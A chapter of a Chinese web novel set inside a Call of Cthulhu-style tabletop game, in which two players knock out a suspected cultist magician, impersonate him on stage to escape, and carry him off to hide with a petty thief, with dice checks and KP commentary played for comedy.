等到一觉睡醒,她打着哈欠伸完懒腰,拿起手机一看,刚好八点二十。
她也不用多收拾,洗漱完再清点一下随身物品,刚好可以掐着点去汇合,等出门前突然想起自己的项链,调出人物面板一看,还真多了两点SAN。
祝槐:“……”
你说这道具要是可以跨角色共享多好?
想想都知道不可能,她悲伤地锁好房门,在转身前收拾好自己的表情,看向数米之外的女人,“早啊,斯图尔特夫人。”
“早安。”要说卡洛琳十有八九是最时时刻刻保持人设的那个,她动作轻柔地点点头,“昨晚休息得怎么样?”
“挺好的,住宿条件是挺不错。”祝槐笑道,“咱们也快点吧,他们在底下该等着急了。”
两人一齐上了电梯,到楼下大厅的时候正好离说好的时间差两分钟,汤尼和刀疤已经等在那了。谁也没想到后者居然是第一个到的那个,坐在旁边的小卷毛导游多少有点战战兢兢。
他看到她们俩才松口气,“二位早上好!”
祝槐回了声早安,正寻思着要不要给昨晚刚交换过联系方式的南风打个电话,就听到身后一阵错杂凌乱的脚步声。
南风风风火火顶着明显是睡乱了的头发,路上差点撞到才推着俩行李箱来办理入住的夫妇,嘴里一路喊着抱歉,上气不接下气地往这边冲过来。
“早——早上好!”
他憋着一口气道:“实在不好意思我昨天有点没睡好起晚了就迟到了!”
众人:“……”
其实倒也不必这么着急。
“刚好差一秒钟,”卡洛琳微妙地看了眼自己腕上的女士手表,“现在是九点整了,你还不算迟到。”
南风:“哎!是吗,那太好了!”
其他人已经不忍心再看他这冒泡的傻样了,眼见得人齐了,汤尼也连忙整理了一下自己的小挎包,站起来打圆场道:“那、那既然大家都到齐了,我跟司机说一声,咱们出发?”
一小队游客总共就四个人,往好听了说可以叫迷你团,这种走的是精品定制路线——但他们这次显然不是那么回事,可能是看在人数,旅行社派来的就是辆半旧不新的面包车。满脸络腮胡的司机就颓废地倚着车窗抽烟,见他们过来连声招呼都没打,也就懒懒散散地把烟掐了,扭头听汤尼好声好气地说起了他们的第一个目的地。
祝槐开始认真地思考这家旅行社倒闭的可能性有多大。
幸亏这趟表面旅行也不是每一个毛孔都透露着没救,司机看起来不靠谱,开起车来倒是四平八稳。他们住的酒店离景区也不远,大约十来分钟就停在了路边,打开车门就能看到不远处的大片水色。
看得出来亡灵节的宣传做得确实不错,他们已经算早了,还有游客比他们到得更早,正几人一堆、十几人一堆地凑在一起谈笑拍照。
汤尼也知道自己演说功底不到位,大概介绍了几句后就安排了他们自由行动。据他说,这就是泉城最开始扬名的那片矿泉井区,而在远处最中间的就是J·A·林区打下的第一口矿泉水井。
大多数水井都已经干涸了,但还是为了防止有谁不小心跌落而设置了围栏。虽然林林总总的矿泉井也算是壮观,光是这些却也没多大看头,所以这里在开发成景区时也修建了几座大大小小的水池。
潺潺流过的泉水在岩表辉映下流转出不同光色,激打出的水花又洁白如雪,落在造型各异的石雕上,就蒙上了一层颇有朦胧感的水汽。这当然比枯了的井好看多了,游客也大多聚集在那边,祝槐一路溜溜达达,等最后一波游人在那口据说是J·A·林区亲手打的水井旁边合完影,才慢悠悠地往那边走了过去。
所谓的围栏也就是一人多高的护栏绳,在矿泉井附近四四方方地圈出了一块地。离得这么远实在看不清什么,她左看右看见没有人注意这边,干脆弯腰钻了进去。
反正以她回乡的人设,不放过任何一点蛛丝马迹地地毯式搜索也是合理的。
一百多年过去,石板早就长满了青苔。她倒是信这是人工打下的,石块切割得明显就很粗糙,台面上也有水桶绳索之类磕碰磨损出来的生活痕迹。
祝槐站在井边往下看,里头意料之中地深不见底,侧耳去听也听不见水声,只有靠得非常近了才能闻到一股隐隐约约的奇特臭味……但又说不上来究竟是什么。
【看在你这么好奇的份上,可以过个聆听。】
“哇,”祝槐说,“你活了?”
【……】
那一天,KP又回忆起了被她调戏的恐惧。
【就说你过不过吧!】
“别这么恼羞成怒嘛。”她笑道,“我记得聆听是可以通用在听觉和嗅觉上的吧?”
她当时可是把技能说明都认真看了一遍的——那句话怎么说的,知己知彼百战不殆嘛。KP不情不愿地肯定了一声,祝槐当然不会放过这个白来的技能检定,当机立断地扔了骰子。
[阿维丝(祝槐)]的聆听检定,81/80,失败。
KP:“……”
祝槐:“……”
这第几个差一点就过的了!就TM离谱!
“……贝奈特小姐?”身后忽然传来南风犹疑的声音,“你怎么在那里?”
来得正好!
“我刚才闻到了一股有点奇怪的味道,顺着就找过来了。”她义正言辞地转过身,同时跟他往井边使了个眼色,“就是不知道是什么……你要不要来试试?说不定是能治风湿的原因呢,对你的论文也有帮助。”
她这理由实在让南风无法拒绝,后者也做贼似的左瞧瞧右看看,这才猫下腰钻进来,迟疑着扒在了井边。
然后,脸色一下变得有点诡异。
祝槐看着对方欲言又止的神情,“怎么了?”
“我怎么觉得……”他皱起眉,“是有什么腐烂的味道啊?”
“难道是这井枯太久了,鸟啊动物啊什么的掉进去死在里头了,尸体又没人发现?”祝槐随口道,“不过幸亏早就没有水了,不然保不准要搞出什么流行病。”
南风:“也是……”
“不对啊,”南风忽然反应过来,“我刚才在那怎么什么都没闻到?”
这怎么有个老实人。
闻得到才怪,她就是先进来想调查的。
“哦。”
才刚刚检定失败的祝槐毫不惭愧地说:“可能是我鼻子灵吧。”
KP:“……”
呵呵。
南风恍然,“原来如此。”
……真信啊!
两人又用手机自带的手电筒往里头照了照,还是什么都看不清,只好趁着惹来麻烦前偷溜回去。刀疤和卡洛琳似乎是聚集在井区的另一侧,周边小摊在售卖一些用泉水沁凉的冰镇瓜果,有几个游客正在那边排队,连他们的小导游都端着盒水果吃得开怀。
“啊、咳咳,”汤尼看到他俩正好从不远处过来,一下子有点卡壳,“看着挺甜的就没忍住……你们要是觉得这边没意思,从景区门口走两百米就是广场,到时候一起去接你们?”
其实她觉得这边可太有意思了。
“广场也有活动吗?”祝槐问。
“对对。”
小导游连忙点头,差点没被刚咽下去那块噎着,“……预热嘛,表演都在广场上,还有一些从外地来合作的马戏团和艺人,应该是挺有趣的。”
“就过去看看好了。”祝槐说,“你呢?”
“我没意见。”南风摸摸鼻子,“反正这边也转得差不多了,感受一下当地的文化娱乐也不错。”
二人又问了汤尼具体方向,广场离景区当真不远,他们才走到半路上就听到前方传来的喧嚣声。也就是来时面包车是从另一个方向开过来的,不然早该见到这幅热闹场面了。
临时搭建的舞台上,刚刚结束的民间舞和主持人妙趣横生的逗乐引来台下观众一波又一波欢呼。周围尽是在售卖亡灵节纪念品的小摊贩,还有套着幽灵玩偶服的工作人员在散发明天狂欢日的指南传单,角落处还有一两个可能是小型马戏团的帐篷。
“哪边看上去都挺有趣。”祝槐客观地评价,她从经过的小推车商贩那儿买了个张牙舞爪的小丧尸挂件,“你不买两张明信片?”
两个人在路上的时候还说到当地旅游纪念物最物有所值TOP3。
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“我看还有挺多的,也不急。”
南风在低头看被塞到手里来的传单,“这泉城能去玩的地方居然还挺多的……”
“别说明天了,现在花样都不少。”祝槐凑过来瞄了眼,又转头扫视了整个偌大的广场一圈,“那边又是什么?”
南风:“那边?”
他不明所以地跟着她的视线,看到东北角也有个才搭起来的小舞台,只是那上面目前还空无一人,底下却已经聚集了好些观众。旁边立着个标牌,打的标语是什么什么魔术师大驾莅临,看架势还是个自带粉丝的。
南风下意识小声念了出来:“King……?”
祝槐:“……”
南风:“……”
救命,好中二,好嚣张。
南风忽然一愣,“……等等,那是谁?”
他话音未落,祝槐就注意到了他话中所指的对象。其实哪有谁这一说,分明是个两人都很熟悉的身影。
她也皱起眉,“他不是应该还在矿泉井区吗?”
再不济,按照之前的说法,到了也该给他们打个电话。
还戴着遮阳帽的汤尼·佩特绕过前面的一应观众,从他们这个角度正好能看到他的侧脸,他满脸空白,摇摇晃晃地神游着往帐篷后面走去。
“我,”南风结巴了一下,“我感觉不太对劲……”
祝槐当机立断,“跟上去看看。”
汤尼的状态显然很不对头,这样放任下去恐怕会出事。只是他们之间差着一段距离,等赶到那边的时候已经瞧不见任何人影,只知道对方是去了帐篷后。
南风跟坐在旁边乘凉的路人打听完,一无所获地走回来,“他说什么也没看见。”
“既然如此,”祝槐沉吟,“那就只有一个办法了。”
她猛地指向帐篷后方微微敞开着的出入口,“南风,上。”
这四处都是有点空旷的,除了不远处的几个大箱子,能藏人的也只有那里了。
南风:“……”
为什么是他啊啊啊啊!
他到底还是咽咽口水,边默念着救人一命胜造七级浮屠,边蹑手蹑脚地掀开厚重的帆布,等真到了里面,才发现后台这边昏暗得要命。
“……你好?”他试探着问,“有人在吗?”
地上堆着几个大约是用来进行魔术表演的大箱子,旁边还有运送用的手推车。三两个木架上零零散散地放着大大小小的道具。
最里面的那张书桌上则有一本封皮描绘着古怪纹阵的厚重书册,周围散落着字迹潦草的羊皮纸。
就是唯独不见汤尼·佩特的踪迹。
弥散在空气中的灰尘令从外面照来的光线也变得浑浊,南风下意识地向书桌走出一步,忽然发现光源消失了。
——不,确切来说,是被谁挡住了。
“你是谁?”
在他背后,一道沙哑的声音骤然危险地响起,“谁让你擅自进来的?”
南风顿时一个激灵。
南风:“抱歉,我只是——”
还不等他回头,忽然传来一声重物倒地的闷响。
南风:“……”
祝槐放下用来打晕对方的手刀,耸了耸肩。
“放心,”她说,“我留着分寸呢。”
指用基础值25的斗殴问KP能不能不打伤只击晕,成功直接判定昏迷。
她超勇的啦!
南风:“………………”
……不根本不是这个问题吧!
“刚才你道歉的时候,我看他把手往腰上伸了。”见南风欲言又止,祝槐伸手去拉开倒在地上的那个男人的衣服下摆,“感觉是要掏什么东西,就干脆先下手为强了,如果是误会就该道歉道歉该赔偿赔偿——啊,在这。”
虽然误会的概率小于百分之一就是了。
毕竟怎么说呢……
靠着她这么多年来赖以维生的一点微不足道的直觉。
刚才说的也不作假,她只是需要一个明面的理由。
她站起身,把刀鞘一拔东西一扔,能有六七寸长的匕首“当啷”落在地上,刀锋锐利,显然是开过刃的。
正常人总不至于见人就掏刀子吧?
“不,”南风沉默了下,“其实我想说,你是什么时候进来的?”
“你进来以后啊,我在门口找个地方躲起来了。”祝槐奇怪地看了他一眼,“难道我会让你一个人进来吗?当然要有人放风了。”
南风内心的小人默默流着宽面条泪捂住了嘴。
——什么也不说了,感动中国好队友!
【你们过聆听。】
KP忽然幸灾乐祸地说。
祝槐:“?”
她直觉不会有什么好事。
果不其然。
这次她的聆听终于没有再擦边失误,清楚听到了不远处有谁在议论什么“表演马上开始了”、“现在去叫一声”、“刚才好像见King先生进去了”,还有隐隐往这靠近的脚步声。
再一看,地上躺着那位穿的可不就是演出服吗。
祝槐:“……”
南风:“……”
啊这。
完犊子了,南风忍不住开始冒冷汗,这下骑虎难下可咋整?
别说他们还没找到汤尼在哪了,就地上被打昏过去这位也没办法解释啊,就算能趁乱脱离包围也保证不了会不会被记住长相身形,到时候万一惹出点大动静来一报警一搜查——
祝槐还在盯着男人脸上的那整张面具看。
她忽然弯下腰,将它摘了下来。
昏倒在地的“King”个头矮小,看长相平平无奇,下巴上留着一撮山羊胡子,这才显出点精明来。
“来人,”祝槐冲着地上那位一抬下巴,“把这个冒牌货拖走。”
南风:“……啊???”
KP:“?????”
“从现在起——”
她戴上面具,深沉地说:“我才是货真价实的魔术师‘King’。”
亡灵舞(四)
【你你你你……】
“我需要过乔装吗?”祝槐很有礼貌地问。
KP:“……”
呵呵。
【过,当然要过!】
他不慌,他不急,点了乔装又如何,点到了70又如何,就算有百分之七十的成功率也还有百分之三十的失败可能性更别提万一再来个大失败——
下一秒,他们就一起见证了什么叫毒奶出奇迹。
[阿维丝(祝槐)]的乔装检定,3/70。
大成功!
【………………】
南风凭着自己听到KP的寥寥几句和队友的表现艰难地推测着局势,“你还在和KP商量吗?”
“也不算,”祝槐严谨地说,“我怀疑KP已经撅过去了。”
南风:“???”
紧接着,他的一头雾水就在祝槐的口型中得到了解答——大成功。
南风:“……”
那个,这个,很难忍住不笑。
KP阴森森的声音同时在两人的脑海中响起来。
【我、还、活、着。】
祝槐:“啊对对对。”
……语气敢不敢不要那么敷衍!
“所以这个怎么结算?”反正帐篷里就两个人,祝槐干脆直接出声问道,“我的伪装肯定超——级完美无缺对吧?”
【……】
KP折寿中。
【……你顺利地凭着自己的经验找到了变装所需要的道具,靠它们完美地扮作了魔术师“King”的模样,别说这些工作人员了,连亲妈到场都一时半会儿认不出来。】
随着KP挤出来的旁白,祝槐果真娴熟地三两下就在各个架子上凑齐了发网和假发之类的东西,万事俱备只欠东风。
……话说回来,这人怎么会有这种东西?
噫。
“这么熟练也是因为大成功?”南风奇道。
祝槐谦虚一笑,“其实我是学戏剧的,算本行了。”
南风肃然起敬。
两人都很满意,只有KP在吸氧。
有这个大成功,伪装一下|体型也不是事,更别提“King”名号喊得响亮身材却算矮小的,还要再降低了难度,祝槐翻到了填充材料,那头的南风负责把“冒牌King”的衣服扒下来。
幸亏King的演出服本来也只是在外面套一层,不然她还真不想穿。
也就这么两三分钟的功夫,刚才说话的人也到了帐篷边。
还不等祝槐呵斥,对方已经开了口。
“King先生,”他说,“表演马上要开始了。”
他们这下知道为什么魔术师对南风擅进帐篷反应那么大了——敢情都要求其他人不许进来的。
祝槐压低了声音。
保险起见,她还是扔了下骰子。
[阿维丝(祝槐)]的表演检定,23/65,困难成功。
“我要再准备一下,”她道,“推迟二十分钟。”
南风震惊地发现她把那魔术师的语气模仿了个九成相似。
一模一样的断句、抑扬顿挫,连句尾的嘶嘶气音都很有点感觉。最大的不同当然是还是有点拗不太到那低沉男声的违和,排除这点,他差点都要以为King醒过来了!
——他们也就听他说了两句话。
只是外面那人也听出不对来,“King先生,您的声音……”
南风的心悬了起来。
“我今天想换个风格,”祝槐说,“你有意见?”
“……没有,我去跟观众们说一声延迟的事。”
那人应了就走了。
祝槐松了一口气。
她看外面的标牌和里面的布置规矩就赌King的脾气古怪,果然赌对了。
南风:“这……真要上台?”
啊对,祝槐想起来,队友不知道她也会点魔术。
不过以她及格线的水平……
“没事。”她微笑,“反正最后丢脸的是King。”
南风:“……”
听听这是人话吗?!
“我做准备,你尽快帮我查一下他。”祝槐说,“基础资料和表演视频都要,有个开头就行。”
于是,后台的帐篷里就变成了这么一幅奇怪的画面——
在大成功加持下迅速变装完的祝槐一个接一个地仔细查看那些装置和道具,南风就捧着手机跟在旁边碎碎念。
“King是三年前突然出名的,据说脾气古怪,不爱露脸,台风离奇多变——”
祝槐:“所以他哪天想女装了也很合理。”
演出服底下是女装也很合理。
“噗……咳咳,虽然表演的大多都是中小型魔术,也是一个人走到哪演到哪的流动型演出,但他每次都能收获观众们的一致好评,靠门票和小费赚得盆满钵满。”
祝槐:“中小型魔术……你说大多?”
“嗯……绝大多数。”南风更正,“听说有一次表演遇上了雷阵雨,他就在观众起哄下声称马上可以让雨停下,结果还真停了,不过因为只是文字描述,不能确定真假。”
……哦。
“说不定是晴男呢,找到视频了?”她检查完最后一个箱子,凑过来,“让我看看。”
也不知为什么,明明是个小有名气的魔术师,留在网上的影像资料却神奇地寥寥无几,有也只是短短的几分钟,还是高糊版,只能隐约听见两三个单词,实在听不清整句说了个什么。
祝槐:“……我还是自己发挥吧。”
“你等会儿就是我的助手,”她宣布,“Mr.Queen。”
KP:“……”
不准自己加戏啊啊啊啊!!
南风:“???”
啥玩意儿??
“……为什么是‘Queen’?”他震惊。
祝槐:“那‘Princess’也行,这事你得怪前任‘King’。”
南风:“就不能是‘Prince’吗!”
……不对啊他怎么平白矮了一辈!
“算了,‘Queen’就‘Queen’吧,”他崩溃道,“我要做什么?”
“你随便找个帽子挡脸,一会儿如果我用左手打手势,就把这个箱子用手推车推上来,放在我当时站的位置。然后回去以后就用布盖上他运出去,有人问就说是道具,我看咱俩经过的那一小片树林不错。”
祝槐轻轻用鞋尖踢了踢旁边的足有半人多高的箱子,“要是用右手……你就在那个架子上挑一两个道具拿来,哪个都行。”
南风:“哦、哦……”
他还在茫然,来过一次的脚步声又近了,听声音还是刚才那人,“King先生,该出场了。”
祝槐冷声说:“我心里有数。”
她最后整理了下衣服,打开别上的耳麦,戴好从King头顶滚落的高筒帽,确保不会有明显的破绽,南风暗暗捏了把汗。
——只能跟着去做了。
他心里还在七上八下,就见对方忽然看了他一眼。
南风一下子愣在了原地。
面具遮挡住她的五官,只露出一双海蓝色的眼睛。那一眼其实没有多少情绪,但寒意无端就窜上了他的脊背,让他察觉到了和刚才如出一辙的危险感。
看到他愣神,祝槐笑笑,这笑没有缓和半分气氛,反而只在她微弯的眼中显出了高高在上的不屑一顾。
他们都不知道真正的魔术师“King”是什么样,但南风几乎可以肯定,站在他面前的完全成了另一个人。
祝槐站在台前,深吸一口气,迈出了门帐。
台下已经聚了得有数十个观众,在她一只脚踏出帷幕的瞬间,那些视线齐刷刷凝集过来。祝槐步伐不乱,在正中央站定,手里从架子上摸来的长杖猛然一抖,轻而易举地挽了个花哨的杖花。
杖花结束之时她也顺势弯腰,不卑不亢地脱下帽子行了一礼,帽檐划过的弧度正好遮住那双可能与本人不同颜色的眼睛。
[阿维丝(祝槐)]的侦查检定,40/60,成功。
祝槐重新戴上帽子,微眯起双眼,步履矫健地绕着舞台走过一圈,最后在某个被父母抱着的小女孩面前停下,向她伸出了手。
小姑娘张着嘴巴看着那流畅展开的十来张扑克,左右望望父母,见他们点了头后才在她的示意下抽出一张。
祝槐接过那张红心Q,向着所有观众展示了一圈,在他们的注视下猛地一握拳,再展开时扑克牌已经消隐无踪,手心只余下一朵正在娇艳绽放着的太阳花。
她在小声的惊呼和小女孩咯咯笑声中弯腰将花戴在了对方的耳边,又邀请后者再抽一张。
这次是张黑桃K,依然是展示过一圈,祝槐请小女孩亲手将牌插回去,直起身来时故作惊讶地一顿,面向观众展开了手里的扑克。
唯独少了那张黑桃K。
小女孩的父母也是个会接梗的,见魔术师求助似的望过来,妈妈马上就抱着女儿上下看了看,而爸爸眼尖地把手伸进了女儿背后的兜帽,抽出张黑桃K的时候灵性地举高了手给别人看,引来其他观众一阵善意的笑声。
祝槐感谢地鞠了一躬,接过他递来的黑桃K收好,向后退了几步,鞋跟轻轻敲在底下的舞台地面上。
[阿维丝(祝槐)]的聆听检定,20/80,困难成功。
她辨别着声音,一只手悄悄伸到了身后。
是左手。
扒在帘子上还在为她一通行云流水操作而目瞪口呆的南风立刻回神,连忙推上刚才放好那大箱子的手推车,这就要向外走去。
“女士们,先生们,”传入耳中的声音比刚才听起来更沙哑,“各位来到此地观看我的表演,实在是各位之幸。”
南风:“……”
喂!!反了吧!!!
“刚才的只是一道小小的开胃菜,不知大家可还满意?”祝槐一扬手,“不满意也很正常,想来大家来到这里,期待的不止是这些。真正的好戏还在后头,现在有请我新请的助手——Mr.Queen。”
南风差点把自己绊了一跤。
他忍着羞耻,一路闷头把车推到队友指定的位置,搬起箱子、放好、推好小车车,一溜小跑又钻回了帐篷里。
“助手有点容易害羞。”祝槐客观地评价起他的同手同脚,台下此起彼伏地笑起来,“接下来,我会钻进这个箱子,各位只需要从现在起在内心倒数一百个数
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,我就会‘砰’地一下,凭空出现在三米之外的台上。”
一语哗然。
大家都知道魔术就是魔术,“King”停雨的事也只是追捧者的吹嘘,而他现在说要表演更离谱的大变活人,顿时引起了止不住的怀疑。
当然,还有更多等着看他到底打算怎么做的好奇和期待。
祝槐不着痕迹地打量一眼底下人的神情,似乎其实没有多少人在意“他”嗓音的变化,大多可能都是第一次来看King的表演的。
毕竟看南风查来的资料,这位魔术师并不太喜欢将自己要去哪儿演出的消息宣布得人尽皆知。
她打开箱子,手指触上了箱底的拉扣。
祝槐在众目睽睽之下行礼,踩着旁边自带的小台阶迈进去,最后还不忘拉好了箱盖。
一分钟过去了。
默数完毕的人越来越多。
三分钟过去了。
大家开始交头接耳,窃窃私语。
五分钟过去了。
别说“砰”了,台上连声蛐蛐叫都没有。
观众们:“……”
人呢?!!
*
南风一回到后台,立刻急匆匆地按照队友的吩咐将魔术师搬上手推车,旁边还放上了另外几样道具充数,那把掉了就很可疑的随身匕首也没忘记,最后盖上一层扯来的布以作遮挡。
他迟疑了一下,没有直接离开,而是冲向了从之前就一直很在意的那张书桌。
南风思虑再三,还是拿起来翻了几页,脸色就在察看里面内容时越来越凝重,最后干脆抓着它和周围的羊皮纸一起也塞到了灰布底下。
他推着车往外走,大概是因为冬青在台上的介绍真起了作用,路上碰到了一两个疑似是合作的工作人员的看见他也不过问——可能也没想到真有人胆子这么大——居然畅通无阻地离开了广场,顺利地向小树林走去。
南风按捺着狂跳的心脏,他们选的位置还是偏的,等完全看不到任何人影,他才有点紧张地拿起手机,拨出了一个号码。
“喂,那个……”他说,“是我。”
“别说废话。”
南风:“……”
好凶啊!!
“我们在广场进行魔术表演的帐篷里发现了《不可名状的教团》,”他有苦说不出,老老实实按对方要求总结道,“是重新包装过的德语版影印本,看页码有不少残缺,没有时间检查,我就先带出来了。”
“也控制住了它的主人……嗯,是邪|教徒的可能性很高。”
电话那边又说了些什么,南风回答:“对,不止我一个……”
他想了想,斩钉截铁地说:“但我觉得她是个好人。”
电话那头:“……”
“你觉得?”对方嘲讽地反问一声,“你们才认识两天吧?”
南风:“可是——”
“行了,用不着解释,你自己注意。继续控制住他,还有,尽快把书交给我。”
“啊、哦哦,”南风抬头看到有个身影走近,“有人来了,我回去再说。”
他越看那身影越眼熟,再一看可不就是重新换掉了那身古里古怪演出服的队友,哪怕对对方能有办法脱身是有点底的,还是忍不住震惊,“你是怎么混出来的?!”
祝槐耸耸肩,“他们注意力都在台上,就那么混出来的啊。”
“我还以为你配合是看出来了,”她也沉默了,“……原来没有吗?”
南风:“……”
他惭愧。
他默默做了个“您请”的手势。
“你去打探汤尼行踪的时候,”祝槐清清喉咙,刚才那一出实在太费嗓子了,“我观察了一下附近,那座舞台看高度肯定有机关。”
“然后就是刚进去,我当然不会站在那里什么也不做,后台帐篷内东北角方位有扇小门,看位置和舞台是一致的。有了这两点再往回推,你又说他表演的都是中小型魔术,那逃遁术也是有可能的。”
“我挨个检查了所有道具,”有的她也不认识,于是KP看她骰知识都看得快掉SAN了,最后硬是摁着说技能进了CD,“发现果然有这类,剩下的就是确认是不是真的有机关了。”
“你看我走的那一圈其实就是在找活板门的位置,确实很隐蔽,所以还用到了侦查和聆听。”她说,“当时说另一个手势也是为了以防找不到的情况,到时候再想别的办法。”
“稳住观众,然后趁机脱身……这么说出来好像是有点托大。”
还是那句话,大不了是“King”丢脸。
看来她25的幸运没有掉链子,保住了魔术师的英名——虽然是以鸽了观众为代价。
南风听傻了。
——你为什么这么熟练啊?!!
“那,”他看看布底下还晕着的那位,“咱们现在是……?”
他应该……不是上了条贼船吧?
祝槐:“哦。”
她审视了一下自己,觉得很有犯罪界冉冉升起的一颗新星的潜质。
“逼其他人……不是,拉其他人一起下水,”祝槐志在必得地说,“把绑架事业做大做强。”
南风:“……”
南风:“?????”
亡灵舞(五)
南风很快就发现了事情的严重性。
——她是认真的啊啊啊!!!
虽然在帐篷里的那一刻他就隐约意识到可能从此没有回头路可以走,然而,谁又能想到这一天来得这么快。
他曾经有过选择,可他现在做不了一个好人。
祝槐负责观察周遭情况,他负责鬼鬼祟祟,两人一路将小推车推离了广场,中途就听到魔术舞台那边的人声沸沸扬扬起来。
废话,这怎么可能不炸锅。
——大名鼎鼎的魔术师“King”大变活人把自己变蒸发啦!
也幸亏祝槐那一手刀实在是稳准狠,“King”——准确来说是个不知真实名姓的山羊胡子中年男人——到现在都没有任何醒转的迹象,吓得南风还认真检查了一番他还有没有呼吸。
危机并不仅仅来自于因为亡灵节而在街头来来往往的行人。
泉城是个绿化率相当不错的乡下小城,路边高大的郁金香木下还有大片半人多高的修建得足够整齐的灌木丛,祝槐躲藏得有点余裕,身量更高的南风就稍微费劲了。
“我说……”他捶捶有点酸的腰,“他们还不走吗……”
一道树篱之隔的路口,有辆巡逻警车就停在那里。可能是为了维护街头秩序,坐在里头的警察一边拿着对讲机嘴巴动个不停一边探头探脑,就是不见驱车离开的打算。
这都快二十分钟过去了。
要是再不走,他们也只能再想想别的路线了。
就在这个时候,两人同时注意到盖着推车的那块布轻轻动了一下。
祝槐毫不迟疑地伸手去掀了布,果然看见正以一种不太舒服的姿势蜷在板子上的山羊胡男人缓慢地睁开了双眼,嘴里发出一声轻微的呻|吟,茫然而迟滞地将视线投过来。
“你们——”他猛地瞪大眼睛,显然想起了什么,“……!”
祝槐:“……”
南风:“……”
“动手。”祝槐当机立断地说。
说时迟那时快,南风一瞬间浮上来的那点犹豫也消失了,条件反射地一侧掌砍在了男人颈侧的迷走神经附近,后者当即两眼一翻,又晕了过去。
南风:“………………”
为什么他会这么自然这么自觉地去过检定啊!!!
KP已经不想说话了。
“哟,”祝槐眨眨眼,“身手不错嘛。”
南风:“啊、啊哈哈哈……”
“练还是练过的,”他连忙把那布重新盖盖好,以此掩饰尴尬,“不过没怎么实战,希望我没有下手下得不知轻重……”
“没事。”
祝槐很大方地拍拍他肩膀,“你看我也很敢动手。”
区区25的入门斗殴。
“能过的技能为什么要点。”她一本正经道。
南风倒吸了一口凉气。
糟、糟糕,他要被说服了怎么办?!
KP:“……”
你在乱教个什么东西啊!
警察的巡逻车还赖在那儿不走,盖着绑票对象的布还差个边角,南风出于谨慎还是将那一点点可疑之处掖好,心里就在注意到不对劲的刹那间“咯噔”响了一声。
他藏那本影印本的时候是很小心的,还专门塞在了魔术师的后背底下,哪想到这人醒了一翻身就把它给挤到一边,愣是露了一大半出来。
南风暗道不好,他一边在动作的同时将它重新塞到其他道具底下,一边尽可能不着痕迹地瞥了冬青一眼。他见对方脸上并没有什么异色,这才松了口气,她似乎是没注意到。
不如说……她在看另一个方向。
“……不对。”
祝槐说:“你看那边。”
南风:“啊?”
他的心还没完全放下来,又一下跟着她的话提起,下意识看过去,不由得也是一愣。
走在街对面那边的,不是汤尼·佩特还能是谁。
他们眼看着他梦游似的消失在了魔术师的帐篷附近,又到处都没有找见他,原本都只能暂时搁置一边等解决完手头的事再说了,可他偏偏在这时候自己出现在了他们面前。
不止是他,还有他们同旅游团的两位队友,司机应该留在了景区那边,此刻只有那三人正一边交谈着什么一边往广场这边走来。
而汤尼·佩特,和刚才相比,现在的他无疑是他自己了,虽然在面对刀疤的时候依旧有点瑟缩,脸上更多的还是他那招牌的用来招待游客的笑容。
“这……”南风错乱地看看那边,又看看这边,“怎么回事?”
大白天梦游吗?!
【目睹了这样不合情理的状况——】
KP的声音及时响起。
【进行意志检定,成功无变化,失败减少1点SAN值。】
……倒也不必这么见缝插针。
南风保住了这莫名其妙的1点SAN,同样目睹了这一幕的祝槐就没这么幸运了,只有50的意志不大靠谱,还好她昨晚多回了两点。
除去他俩以外的一行人还在往广场走,汤尼从兜里摸出了像是手机的东西,下一秒,祝槐兜里就震动起来——得亏是她早调成了静音。
她接起电话,尽量在压低了音量的情况下声音如常,“喂?”
“贝奈特小姐,”汤尼问,“我们现在往这边过来了,你们呢?”
他们在树丛后头躲着呢。
“嗯……”祝槐语气抱歉,“大家很着急吗?”
汤尼:“不,也还好?”
“我们这边可能还要再晚点,”她看看南风,“阿狄森他很好奇那边的教堂,说是可能对他的论文有帮助,我陪他去看一眼,就麻烦你们再多等等了?”
“没事没事!”
汤尼马上说:“我们正好也在演出这边逛一会儿,你们慢慢来。”
祝槐挂了电话,南风愣了一会儿,迷茫道:“教堂在哪儿?”
“你给我看的地图啊,”祝槐抬抬下巴,“那边。”
南风心说怎么看了一眼的人比他记得还清楚。
不过这么个距离是够解释为什么一时半会儿回不来了,来了个小插曲的功夫,那边的巡逻警察应该是见确实没有什么好管的,慢慢悠悠地开走了警车,正好方便了他们的行动。
“话说,”南风有点犹豫不决,“虽然我知道是要找个地方藏人,但到底是往哪……”
“就在这附近。”
祝槐斩钉截铁地说:“我正好知道个地方。”
十分钟后。
站在明显有了年头的居民楼下,看着那些掉色失修的墙皮,再看看偶尔在楼梯口附近往来的居民,南风迷惑,“是这里?”
祝槐对照着登记在证件上的姓名住址和路边街牌,“应该是。”
他们绕过最近的街角时找了个隐蔽处丢弃掉手推车,祝槐拿了那把匕首,由南风把还晕着的魔术师背上——当然,他也没忘偷偷把书装进包里——两人一同上了公寓二楼。
祝槐挨个数着门牌,在其中一扇前停下,用力敲了两下。
不多时就有了回应。
“谁啊?”
门内有谁趿着拖鞋拖拖拉拉地走过来,声音有点不耐烦。
他一把推开门,露出个头发乱糟糟的脑袋来,警惕地打量起外面还背了个人的两人,“你们是谁?”
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“你可能认不出我。”
祝槐笑眯眯伸手在他眼前一晃,“但你不会认不出这个吧?”
杰弗里:“?!!”
“是你?!”他抢钱包抢了个空,“喂,这是我的钱包!”
南风:“……?”
钱包,什么钱包?
“可它现在是我的了,”祝槐说,“就像我也不会跟你要回我的钱包一样。”
杰弗里:“……”
可是你钱包里没有钱啊!!!
南风听着他们一句一个钱包,再看看男孩有那么一点点眼熟的长相,终于露出了点恍然的表情。
……但这钱包到底是怎么互换的?!
杰弗里眼中却多了狠色,“你还不还?”
“我的建议是,最好想清楚再决定要不要跟我动手。”
南风想起面前人的所作所为,忍不住点了下头。祝槐笑容不改,“不过嘛,当然可以还你,我的也不会要回来。”
杰弗里可不相信真有这种好事,“什么条件?”
“帮我们看管他几天。”祝槐说。
杰弗里狐疑地打量起南风背着的男人,张张口又闭了嘴,虽然还在犹豫,但明显已经动摇了。
【交涉技能。】
KP没好气地说。
这就是差临门一脚的意思了。
祝槐满意地点点头。
[阿维丝(祝槐)]的说服检定,100/60,大失败!
祝槐:“…………………………”
KP:“?”
耳边几乎是立刻响起了KP猖狂到极点的笑声,连看不到骰点的南风也察觉到不对,“啊?!难道——”
他反应迅速,一脚伸过去挡住了杰弗里要一把关上的门。
“干嘛!”杰弗里关门关不上,“老子没兴趣掺和这点破事!”
他一嚷嚷起来,顿时也引来了视线,左右邻居家的门都悄悄开了条缝。
【你们确定还要待在这里?】
KP不怀好意地问。
祝槐回之以微笑,“为什么不呢?”
知都知道了,今天这水不下也得下!
她注视着杰弗里,神色叹息。
